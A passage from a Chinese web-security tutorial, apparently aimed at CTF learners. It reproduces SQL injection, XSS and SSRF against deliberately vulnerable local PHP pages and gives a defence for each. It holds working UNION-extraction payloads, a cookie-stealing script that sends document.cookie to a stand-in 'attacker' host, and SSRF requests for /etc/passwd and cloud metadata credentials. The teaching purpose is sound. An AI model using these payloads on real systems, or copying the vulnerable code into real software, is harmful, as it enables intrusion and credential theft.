返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[29,13023,13024,13028,13032,13037,13042,13046,13050,13055,13060,13064,13068,13073,13078,13083,13087,13091,13096,13100,13104,13109,13114,13118,13123,13127],{"__ignoreMap":27},[32,13025,13026],{"class":34,"line":35},[32,13027,5368],{},[32,13029,13030],{"class":34,"line":46},[32,13031,5373],{},[32,13033,13034],{"class":34,"line":69},[32,13035,13036],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[32,13038,13039],{"class":34,"line":79},[32,13040,13041],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[32,13043,13044],{"class":34,"line":451},[32,13045,2433],{"emptyLinePlaceholder":1372},[32,13047,13048],{"class":34,"line":457},[32,13049,5231],{},[32,13051,13052],{"class":34,"line":463},[32,13053,13054],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[32,13056,13057],{"class":34,"line":469},[32,13058,13059],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[32,13061,13062],{"class":34,"line":475},[32,13063,2433],{"emptyLinePlaceholder":1372},[32,13065,13066],{"class":34,"line":481},[32,13067,5382],{},[32,13069,13070],{"class":34,"line":1294},[32,13071,13072],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[32,13074,13075],{"class":34,"line":1300},[32,13076,13077],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[32,13079,13080],{"class":34,"line":2478},[32,13081,13082],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[32,13084,13085],{"class":34,"line":2484},[32,13086,2433],{"emptyLinePlaceholder":1372},[32,13088,13089],{"class":34,"line":2490},[32,13090,5387],{},[32,13092,13093],{"class":34,"line":2496},[32,13094,13095],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[32,13097,13098],{"class":34,"line":2502},[32,13099,2433],{"emptyLinePlaceholder":1372},[32,13101,13102],{"class":34,"line":2508},[32,13103,5392],{},[32,13105,13106],{"class":34,"line":2514},[32,13107,13108],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[32,13110,13111],{"class":34,"line":3954},[32,13112,13113],{},"    // 取不到更多行时返回 null，while 结束。\n",[32,13115,13116],{"class":34,"line":3960},[32,13117,5397],{},[32,13119,13120],{"class":34,"line":3966},[32,13121,13122],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[32,13124,13125],{"class":34,"line":3972},[32,13126,2448],{},[32,13128,13129],{"class":34,"line":3978},[32,13130,5406],{},[15,13132,13133],{},"第三步，启动：",[22,13135,13137],{"className":24,"code":13136,"language":26,"meta":27,"style":27},"php -S 127.0.0.1:8000\n",[29,13138,13139],{"__ignoreMap":27},[32,13140,13141,13143,13145],{"class":34,"line":35},[32,13142,5224],{"class":38},[32,13144,5302],{"class":240},[32,13146,5305],{"class":42},[146,13148,13150],{"id":13149},"_32-正常请求","3.2 正常请求",[15,13152,152],{},[22,13154,13155],{"className":24,"code":5448,"language":26,"meta":27,"style":27},[29,13156,13157],{"__ignoreMap":27},[32,13158,13159,13161,13163,13165],{"class":34,"line":35},[32,13160,5455],{"class":38},[32,13162,5458],{"class":411},[32,13164,5461],{"class":42},[32,13166,5464],{"class":411},[15,13168,168],{},[22,13170,13172],{"className":13171,"code":5470,"language":174,"meta":27},[172],[29,13173,5470],{"__ignoreMap":27},[146,13175,13177],{"id":13176},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13179,13180,13182,13183,13185],{},[135,13181,137],{},"：确认 ",[29,13184,5430],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13187,13188,13190,13191,13194,13195,13198],{},[135,13189,143],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[29,13192,13193],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[29,13196,13197],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13200,13201,13203],{},[135,13202,647],{},"：逐条发送以下三个请求，对比输出。",[15,13205,13206],{},"输入 1：",[22,13208,13210],{"className":24,"code":13209,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[29,13211,13212,13222,13227,13232],{"__ignoreMap":27},[32,13213,13214,13216,13218,13220],{"class":34,"line":35},[32,13215,5455],{"class":38},[32,13217,5458],{"class":411},[32,13219,5495],{"class":42},[32,13221,5464],{"class":411},[32,13223,13224],{"class":34,"line":46},[32,13225,13226],{"class":2549},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[32,13228,13229],{"class":34,"line":69},[32,13230,13231],{"class":2549},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[32,13233,13234],{"class":34,"line":79},[32,13235,13236],{"class":2549},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13238,13239],{},"预期输出：SQL 语法错误，例如：",[22,13241,13243],{"className":13242,"code":5504,"language":174,"meta":27},[172],[29,13244,5504],{"__ignoreMap":27},[15,13246,13247],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13249,13250],{},"输入 2：",[22,13252,13254],{"className":24,"code":13253,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[29,13255,13256,13266,13271],{"__ignoreMap":27},[32,13257,13258,13260,13262,13264],{"class":34,"line":35},[32,13259,5455],{"class":38},[32,13261,5458],{"class":411},[32,13263,5531],{"class":42},[32,13265,5464],{"class":411},[32,13267,13268],{"class":34,"line":46},[32,13269,13270],{"class":2549},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[32,13272,13273],{"class":34,"line":69},[32,13274,13275],{"class":2549},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13277,168,13278,13280],{},[29,13279,5538],{},"（条件为真，正常返回）。",[15,13282,13283],{},"输入 3：",[22,13285,13287],{"className":24,"code":13286,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[29,13288,13289,13299,13304],{"__ignoreMap":27},[32,13290,13291,13293,13295,13297],{"class":34,"line":35},[32,13292,5455],{"class":38},[32,13294,5458],{"class":411},[32,13296,5557],{"class":42},[32,13298,5464],{"class":411},[32,13300,13301],{"class":34,"line":46},[32,13302,13303],{"class":2549},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[32,13305,13306],{"class":34,"line":69},[32,13307,13308],{"class":2549},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13310,13311],{},"预期输出：空（条件为假，查不到数据）。",[15,13313,13314,13315,13317,13318,5576],{},"三个结果合起来：单引号报错、",[29,13316,5571],{}," 正常、",[29,13319,5575],{},[146,13321,13323],{"id":13322},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13325,13326,13328],{},[135,13327,137],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13330,13331,13333,13334,13336],{},[135,13332,143],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[29,13335,5596],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13338,13339],{},"第一步，确定列数：",[22,13341,13343],{"className":24,"code":13342,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[29,13344,13345,13355,13360],{"__ignoreMap":27},[32,13346,13347,13349,13351,13353],{"class":34,"line":35},[32,13348,5455],{"class":38},[32,13350,5458],{"class":411},[32,13352,5623],{"class":42},[32,13354,5464],{"class":411},[32,13356,13357],{"class":34,"line":46},[32,13358,13359],{"class":2549},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[32,13361,13362],{"class":34,"line":69},[32,13363,13364],{"class":2549},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13366,13367],{},"第二步，确认哪一列会回显：",[22,13369,13371],{"className":24,"code":13370,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[29,13372,13373,13383,13388,13393],{"__ignoreMap":27},[32,13374,13375,13377,13379,13381],{"class":34,"line":35},[32,13376,5455],{"class":38},[32,13378,5458],{"class":411},[32,13380,5687],{"class":42},[32,13382,5464],{"class":411},[32,13384,13385],{"class":34,"line":46},[32,13386,13387],{"class":2549},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[32,13389,13390],{"class":34,"line":69},[32,13391,13392],{"class":2549},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[32,13394,13395],{"class":34,"line":79},[32,13396,13397],{"class":2549},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13399,168,13400,13402],{},[29,13401,5694],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13404,13405],{},"第三步，查数据库名：",[22,13407,13409],{"className":24,"code":13408,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[29,13410,13411,13421,13426],{"__ignoreMap":27},[32,13412,13413,13415,13417,13419],{"class":34,"line":35},[32,13414,5455],{"class":38},[32,13416,5458],{"class":411},[32,13418,5713],{"class":42},[32,13420,5464],{"class":411},[32,13422,13423],{"class":34,"line":46},[32,13424,13425],{"class":2549},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[32,13427,13428],{"class":34,"line":69},[32,13429,13430],{"class":2549},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13432,168,13433,300],{},[29,13434,1369],{},[15,13436,13437],{},"第四步，查表名：",[22,13439,13441],{"className":24,"code":13440,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[29,13442,13443,13453,13458,13463,13468],{"__ignoreMap":27},[32,13444,13445,13447,13449,13451],{"class":34,"line":35},[32,13446,5455],{"class":38},[32,13448,5458],{"class":411},[32,13450,5737],{"class":42},[32,13452,5464],{"class":411},[32,13454,13455],{"class":34,"line":46},[32,13456,13457],{"class":2549},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[32,13459,13460],{"class":34,"line":69},[32,13461,13462],{"class":2549},"# WHERE table_schema=database()：只筛当前库的表。\n",[32,13464,13465],{"class":34,"line":79},[32,13466,13467],{"class":2549},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[32,13469,13470],{"class":34,"line":451},[32,13471,13472],{"class":2549},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13474,168,13475,300],{},[29,13476,5744],{},[15,13478,13479],{},"第五步，拿 flag：",[22,13481,13483],{"className":24,"code":13482,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[29,13484,13485,13495,13500,13505],{"__ignoreMap":27},[32,13486,13487,13489,13491,13493],{"class":34,"line":35},[32,13488,5455],{"class":38},[32,13490,5458],{"class":411},[32,13492,5801],{"class":42},[32,13494,5464],{"class":411},[32,13496,13497],{"class":34,"line":46},[32,13498,13499],{"class":2549},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[32,13501,13502],{"class":34,"line":69},[32,13503,13504],{"class":2549},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[32,13506,13507],{"class":34,"line":79},[32,13508,13509],{"class":2549},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13511,168,13512,300],{},[29,13513,5808],{},[15,13515,13516],{},"说明：",[9766,13518,13519,13524,13534],{},[791,13520,13521,13523],{},[29,13522,5596],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[791,13525,13526,13529,13530,13533],{},[29,13527,13528],{},"--+","：URL 中解码后是 ",[29,13531,13532],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[791,13535,13536,13539],{},[29,13537,13538],{},"group_concat","：把多行拼成一行，方便一次性输出。",[146,13541,13543],{"id":13542},"_35-防御参数化查询","3.5 防御：参数化查询",[22,13545,13547],{"className":5222,"code":13546,"language":5224,"meta":27,"style":27},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[29,13548,13549,13553],{"__ignoreMap":27},[32,13550,13551],{"class":34,"line":35},[32,13552,6200],{},[32,13554,13555],{"class":34,"line":46},[32,13556,6205],{},[15,13558,13559,13560,13562,13563,13566],{},"此时输入 ",[29,13561,6244],{}," 只会被当作字符串 ",[29,13564,13565],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13568,13570],{"id":13569},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13572,13573,13575],{},[135,13574,137],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13577,13578,13580,13581,13584,13585,13588,13589,13592],{},[135,13579,143],{},"：页面把 ",[29,13582,13583],{},"name"," 原样输出。如果我们传 ",[29,13586,13587],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[29,13590,13591],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[146,13594,13596],{"id":13595},"_41-平台与代码","4.1 平台与代码",[15,13598,13599,13600,560],{},"任意 Web 应用。示例 ",[29,13601,13602],{},"xss.php",[22,13604,13606],{"className":5222,"code":13605,"language":5224,"meta":27,"style":27},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[29,13607,13608],{"__ignoreMap":27},[32,13609,13610],{"class":34,"line":35},[32,13611,13605],{},[146,13613,13615],{"id":13614},"_42-正常请求","4.2 正常请求",[22,13617,13619],{"className":24,"code":13618,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[29,13620,13621],{"__ignoreMap":27},[32,13622,13623,13625,13627,13630],{"class":34,"line":35},[32,13624,5455],{"class":38},[32,13626,5458],{"class":411},[32,13628,13629],{"class":42},"http://127.0.0.1:8000/xss.php?name=alice",[32,13631,5464],{"class":411},[15,13633,297,13634,300],{},[29,13635,13636],{},"你好，alice！",[146,13638,13640],{"id":13639},"_43-注入脚本","4.3 注入脚本",[22,13642,13644],{"className":24,"code":13643,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[29,13645,13646],{"__ignoreMap":27},[32,13647,13648,13650,13652,13655],{"class":34,"line":35},[32,13649,5455],{"class":38},[32,13651,5458],{"class":411},[32,13653,13654],{"class":42},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[32,13656,5464],{"class":411},[15,13658,297],{},[22,13660,13662],{"className":6834,"code":13661,"language":6836,"meta":27,"style":27},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[29,13663,13664,13669,13678,13691,13700],{"__ignoreMap":27},[32,13665,13666],{"class":34,"line":35},[32,13667,13668],{"class":62},"你好，\n",[32,13670,13671,13673,13676],{"class":34,"line":46},[32,13672,6843],{"class":62},[32,13674,13675],{"class":55},"script",[32,13677,66],{"class":62},[32,13679,13680,13683,13686,13688],{"class":34,"line":69},[32,13681,13682],{"class":38},"  alert",[32,13684,13685],{"class":62},"(",[32,13687,6480],{"class":240},[32,13689,13690],{"class":62},")\n",[32,13692,13693,13696,13698],{"class":34,"line":79},[32,13694,13695],{"class":62},"\u003C/",[32,13697,13675],{"class":55},[32,13699,66],{"class":62},[32,13701,13702],{"class":34,"line":451},[32,13703,13704],{"class":62},"！\n",[15,13706,13707,13708,13710,13711,13713],{},"浏览器会把 ",[29,13709,13591],{}," 当作代码执行。",[29,13712,5455],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[146,13715,13717],{"id":13716},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13719,13720],{},"攻击者构造 URL：",[22,13722,13724],{"className":6834,"code":13723,"language":6836,"meta":27,"style":27},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[29,13725,13726,13731,13739,13760],{"__ignoreMap":27},[32,13727,13728],{"class":34,"line":35},[32,13729,13730],{"class":62},"http://127.0.0.1:8000/xss.php?name=\n",[32,13732,13733,13735,13737],{"class":34,"line":46},[32,13734,6843],{"class":62},[32,13736,13675],{"class":55},[32,13738,66],{"class":62},[32,13740,13741,13744,13746,13749,13752,13754,13757],{"class":34,"line":69},[32,13742,13743],{"class":38},"  fetch",[32,13745,13685],{"class":62},[32,13747,13748],{"class":411},"'",[32,13750,13751],{"class":42},"http://attacker/?c=",[32,13753,13748],{"class":411},[32,13755,13756],{"class":55}," +",[32,13758,13759],{"class":62}," document.cookie)\n",[32,13761,13762,13764,13766],{"class":34,"line":79},[32,13763,13695],{"class":62},[32,13765,13675],{"class":55},[32,13767,66],{"class":62},[15,13769,13770,13771,13774],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[29,13772,13773],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[146,13776,13778],{"id":13777},"_45-防御输出编码","4.5 防御：输出编码",[15,13780,13781],{},"输出前把危险字符转义：",[489,13783,13784,13794],{},[492,13785,13786],{},[495,13787,13788,13791],{},[498,13789,13790],{},"原始字符",[498,13792,13793],{},"转义后",[505,13795,13796,13807,13819,13830,13841],{},[495,13797,13798,13802],{},[510,13799,13800],{},[29,13801,6843],{},[510,13803,13804],{},[29,13805,13806],{},"&lt;",[495,13808,13809,13814],{},[510,13810,13811],{},[29,13812,13813],{},">",[510,13815,13816],{},[29,13817,13818],{},"&gt;",[495,13820,13821,13825],{},[510,13822,13823],{},[29,13824,6098],{},[510,13826,13827],{},[29,13828,13829],{},"&quot;",[495,13831,13832,13836],{},[510,13833,13834],{},[29,13835,13748],{},[510,13837,13838],{},[29,13839,13840],{},"&#39;",[495,13842,13843,13848],{},[510,13844,13845],{},[29,13846,13847],{},"&",[510,13849,13850],{},[29,13851,13852],{},"&amp;",[15,13854,13855,13856,13859],{},"PHP 用 ",[29,13857,13858],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13861,13863],{"id":13862},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13865,13866,13868],{},[135,13867,137],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13870,13871,560,13873,13876,13877,13880,13881,13884,13885,13888,13889,13892],{},[135,13872,143],{},[29,13874,13875],{},"file_get_contents($url)"," 会按 ",[29,13878,13879],{},"$url"," 的协议去读内容。协议决定能力：",[29,13882,13883],{},"file://"," 读本地文件，",[29,13886,13887],{},"http://"," 访问内网，",[29,13890,13891],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[146,13894,13896],{"id":13895},"_51-平台与代码","5.1 平台与代码",[15,13898,13899,13900,560],{},"具有\"URL 处理\"功能的应用。示例 ",[29,13901,13902],{},"ssrf.php",[22,13904,13906],{"className":5222,"code":13905,"language":5224,"meta":27,"style":27},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[29,13907,13908,13912,13917,13922,13927,13932],{"__ignoreMap":27},[32,13909,13910],{"class":34,"line":35},[32,13911,5368],{},[32,13913,13914],{"class":34,"line":46},[32,13915,13916],{},"echo file_get_contents($_GET['url']);\n",[32,13918,13919],{"class":34,"line":69},[32,13920,13921],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[32,13923,13924],{"class":34,"line":79},[32,13925,13926],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[32,13928,13929],{"class":34,"line":451},[32,13930,13931],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[32,13933,13934],{"class":34,"line":457},[32,13935,5406],{},[146,13937,13939],{"id":13938},"_52-读本地文件","5.2 读本地文件",[22,13941,13943],{"className":24,"code":13942,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[29,13944,13945,13956,13961,13966],{"__ignoreMap":27},[32,13946,13947,13949,13951,13954],{"class":34,"line":35},[32,13948,5455],{"class":38},[32,13950,5458],{"class":411},[32,13952,13953],{"class":42},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[32,13955,5464],{"class":411},[32,13957,13958],{"class":34,"line":46},[32,13959,13960],{"class":2549},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[32,13962,13963],{"class":34,"line":69},[32,13964,13965],{"class":2549},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[32,13967,13968],{"class":34,"line":79},[32,13969,13970],{"class":2549},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13972,168],{},[22,13974,13977],{"className":13975,"code":13976,"language":174,"meta":27},[172],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[29,13978,13976],{"__ignoreMap":27},[146,13980,13982],{"id":13981},"_53-探测内网端口","5.3 探测内网端口",[22,13984,13986],{"className":24,"code":13985,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[29,13987,13988,13999,14004,14009],{"__ignoreMap":27},[32,13989,13990,13992,13994,13997],{"class":34,"line":35},[32,13991,5455],{"class":38},[32,13993,5458],{"class":411},[32,13995,13996],{"class":42},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[32,13998,5464],{"class":411},[32,14000,14001],{"class":34,"line":46},[32,14002,14003],{"class":2549},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[32,14005,14006],{"class":34,"line":69},[32,14007,14008],{"class":2549},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[32,14010,14011],{"class":34,"line":79},[32,14012,14013],{"class":2549},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,14015,14016],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[146,14018,14020],{"id":14019},"_54-访问云元数据","5.4 访问云元数据",[22,14022,14024],{"className":24,"code":14023,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[29,14025,14026,14037,14042,14047],{"__ignoreMap":27},[32,14027,14028,14030,14032,14035],{"class":34,"line":35},[32,14029,5455],{"class":38},[32,14031,5458],{"class":411},[32,14033,14034],{"class":42},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[32,14036,5464],{"class":411},[32,14038,14039],{"class":34,"line":46},[32,14040,14041],{"class":2549},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[32,14043,14044],{"class":34,"line":69},[32,14045,14046],{"class":2549},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[32,14048,14049],{"class":34,"line":79},[32,14050,14051],{"class":2549},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,14053,14054],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[146,14056,14058],{"id":14057},"_55-防御","5.5 防御",[22,14060,14062],{"className":5222,"code":14061,"language":5224,"meta":27,"style":27},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[29,14063,14064,14069,14074,14079],{"__ignoreMap":27},[32,14065,14066],{"class":34,"line":35},[32,14067,14068],{},"$allowed = ['https', 'http'];\n",[32,14070,14071],{"class":34,"line":46},[32,14072,14073],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[32,14075,14076],{"class":34,"line":69},[32,14077,14078],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[32,14080,14081],{"class":34,"line":79},[32,14082,14083],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,14085,14087],{"id":14086},"六必学工具-1curl","六、必学工具 1：curl",[15,14089,14090],{},"三个核心功能，逐个演示。",[15,14092,14093],{},"功能 1：带参数 GET。",[22,14095,14096],{"className":24,"code":5448,"language":26,"meta":27,"style":27},[29,14097,14098],{"__ignoreMap":27},[32,14099,14100,14102,14104,14106],{"class":34,"line":35},[32,14101,5455],{"class":38},[32,14103,5458],{"class":411},[32,14105,5461],{"class":42},[32,14107,5464],{"class":411},[15,14109,297,14110,300],{},[29,14111,5538],{},[15,14113,14114,14115,9635],{},"功能 2：查看完整请求与响应（",[29,14116,12796],{},[22,14118,14120],{"className":24,"code":14119,"language":26,"meta":27,"style":27},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 